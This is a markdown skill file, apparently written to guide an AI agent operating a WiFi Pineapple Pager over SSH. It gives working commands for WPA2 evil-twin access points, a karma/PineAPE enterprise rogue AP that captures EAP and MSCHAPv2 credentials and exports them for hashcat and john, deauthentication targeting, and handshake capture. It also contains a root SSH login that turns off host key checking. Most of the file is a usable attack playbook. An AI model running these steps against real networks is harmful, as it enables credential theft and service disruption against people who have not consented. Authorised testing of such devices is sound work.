Files
Mark-VIII/payload/user/remote_access/pager-webui/skills/pineapple-control.md
T
bzuccaroandCursor 7d48b7ad06 fix: harden UI actions and daemon calls for reliable control (v1.3.2)
Retry and serialize pineapd/hak5 calls, queue virtual-pager keys, and grey out buttons until the pager finishes. Deploy now installs python3-light after factory firmware. Bump version to 1.3.2.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-20 15:49:10 -05:00

11 KiB

name, description
name description
pineapple-control Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.

Pineapple Control (Pager / FENRIS)

Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.

Hardware / radios

Radio Hardware Interfaces Notes
phy0 internal mt76_wmac (2.4 GHz) wlan0wpa (AP), wlan0open (AP), wlan0mon (monitor), wlan0 (managed uplink) wlan0mon DOES see the Pineapple's own TX
phy1 USB mt7921u (5 GHz) wlan1wpa (AP), wlan1mon (monitor) wlan1mon does NOT see own TX (beacon offload) — see Captures

Naming: wlan0* = 2.4 GHz, wlan1* = 5 GHz. A phy's channel is held by its AP interface (iw dev); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to wlan0wpa (2.4 GHz); a 5 GHz evil twin must be made via /etc/config/wireless.

The uplink pins phy0 (field-verified 2026-08-19): while the device's own client uplink (wlan0 STA) is associated, it holds phy0 on the association channel (here ch1). wlan0mon therefore CANNOT hop off ch1, and 2.4 GHz APs on other channels are invisible to recon — even when hop=1 is set. Also, pineapd's per-interface hop is a no-op unless hopspeed is set on that interface (pineapd.wlan0mon.hopspeed='fast'). Workarounds: run the 2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the uplink is up.

pineapd crash stack (Pager 24.10.1 — all five verified)

  1. SSID-pool broadcast — segfaults pineapd (~15 s cadence, ra=004e1237). Keep pineapd.@ssidpool[0].disable=1.
  2. wlan2mon — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep pineapd.wlan2mon.disable=1 + hop=0.
  3. wlan1mon 6 GHz fast-hop — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep pineapd.wlan1mon.bands=5.
  4. Refilled pool list — collect (autossidpool) refills the pool; a large list crashes even with broadcast off. Clear pineapd.@ssidpool[0].ssid when pineapd fails.
  5. Active socket polling — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (pidof).

The Mark VIII health monitor enforces all five automatically; /api/health reports state. An evil twin / enterprise deploy pauses wlan1mon hop and resumes it on stop.

Standalone PineAPE enterprise engine (field-verified)

The stock daemon's enterprise AP config generation is BROKEN on this build (it hardcodes eap_server_erp=1, which hostapd rejects with "Invalid IEEE 802.1X configuration (no EAP authenticator configured)"). Working engine, run entirely by Mark VIII on phy1 outside the daemon's interface set:

iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
#   eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
#   wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable

Captured credentials flow to pineapd's socket and land in hostap_basic / hostap_chalresp in recon.db. Mark VIII exposes them as EAP identities + MSCHAPv2 (RADIUS inner-auth equivalent) at /api/pineap/enterprise/radius, with hashcat -m 5500 and john netntlm export. The Pager is an EAP terminator (PineAPE), not a UDP/1812 RADIUS proxy. Tear down: kill the pidfile pid, iw dev wlan1ent del, resume hop.

Access

sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip>       # lab unit: 172.16.52.1
  • Transient Permission denied after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
  • Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
  • BusyBox: pkill, nohup, sshpass are MISSING. Use killall/kill $(pidof ...), setsid, and local sshpass. od/hexdump/cat -n absent — use strings/grep/head -c.

What runs on the box

Process Managed by Purpose Socket
/pineapple/pineapple (ELF UI backend) procd (/etc/init.d/pineapplepager) Web UI; supervises/reconverges hostapd
/usr/sbin/pineapd procd (auto-restarts on crash) recon, deauth, SSID pool, handshake logging /tmp/pineap_sock
/usr/sbin/hostapd (single global instance) standalone (PPID 1) all AP interfaces /var/run/hostapd/global, per-iface under /var/run/hostapd/
wpa_supplicant procd device's own client uplink (wlan0)

Command surface

  • PINEAPPLE_* (e.g. PINEAPPLE_DEAUTH_CLIENT) = symlinks to hak5cmd, which talks to pineapd over /tmp/pineap_sock. Do NOT curl 127.0.0.1/api/... — the HTTP API is not on :80.
  • _pineap = pineapd control CLI (PING, RECON APS|DEVICES|ISEARCH format=json, INTERFACE LIST/SET, SSIDPOOL ..., DEAUTH, EXAMINE, PCAP START/STOP). Direct use can desync the UI — prefer PINEAPPLE_* where one exists.
  • hostapd_cli -i <iface> status|get_config|disable|enable (per-iface) and -p /var/run/hostapd -i global (global). This is a Karma-patched build.
  • iw, sqlite3, tcpdump (full build: -G/-W rotate supported), logread, dmesg.

Config & persistence (the hard-won rules)

  • /etc/config/wireless is the SOURCE OF TRUTH for APs (config wifi-iface sections). wifi reload (or wifi up radioN) applies it.
  • Editing /var/run/hostapd-phy*.conf is TRANSIENT. hostapd_cli ... reload_config/reload do NOT re-read the file. hostapd_cli raw ADD/REMOVE misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (-g /var/run/hostapd/global, no configs) and the ubus path reconverges from /etc/config/wireless — reverting your change.
  • To change an AP persistently: back up first, edit /etc/config/wireless, then wifi reload. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
    cp /etc/config/wireless /etc/config/wireless.bak
    # wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
    wifi reload
    hostapd_cli -i wlan1wpa get_config   # verify ssid + key_mgmt=WPA-PSK
    

pineapd health & the crash-loop

  • Symptom: PINEAPPLE_* / deauth returns could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused, and logread shows do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004.
  • Cause observed: the SSID-pool broadcast (68 SSIDs loaded from /etc/config/pineapd) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
  • Fix: _pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart, verify with _pineap PING (PONG) and that the SIGSEGV count in logread stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
  • PING to /tmp/pineap_sock failing while the socket file exists = stale socket (pineapd down/restarting).

Recon DB

pineapd runs --recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes. pineapd holds the DB — always read via the read-only URI with a timeout:

timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
 "SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"

Tables: ssid (ssid is BLOB — CAST(ssid AS TEXT); has bssid/channel/freq/signal/encryption/hidden), wifi_device (mac/freq/signal/packets), scan, handshake (beacon/hs1..hs4 — captures for any nearby AP), hostap_handshake (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus hostap_basic/hostap_chalresp (PineAPE enterprise creds) and hostap_client. RECON CLIENTS does not exist — use RECON DEVICES.

Captures

  • Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
    tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
    
  • Own-TX visibility differs by radio. On phy0 (2.4 GHz) wlan0mon captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) wlan1mon does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on hostap_handshake//root/loot/handshakes for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
  • PineAP's PCAP START export is management/control frames only — never rely on it for handshakes.
  • Standing capture that survives SSH disconnect (detaches via setsid, rotates 5 min, keeps 48 files ≈ 4 h; /mmc had ~3.3 GB free):
    setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
    
  • Stop captures: killall tcpdump (pkill missing).
  • Pull evidence locally with scp; analyze with tshark/capinfos/hcxpcapngtool (brew wireshark, hcxtools).

Verification & troubleshooting

  • AP up but silent? iw dev <iface> info for ssid/type/channel; hostapd_cli -i <iface> status (state=ENABLED) and get_config. Static tx_packets on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check dmesg for driver errors instead.
  • Deauth channel targeting: PINEAPPLE_DEAUTH_CLIENT injects via the phy of the configured inject interface (here wlan1mon, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
  • hostapd_cli -p /var/run/hostapd -i global interface lists managed interfaces.

Teardown & hygiene

  • Stop captures: killall tcpdump; kill only the standing capture's PID if you must keep others.
  • Leave /root/loot/** pcap artifacts as evidence; scp them off before leaving.
  • If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
  • Report persistent config changes you made (e.g. an AP converted in /etc/config/wireless) so the user knows their device differs from the UI default.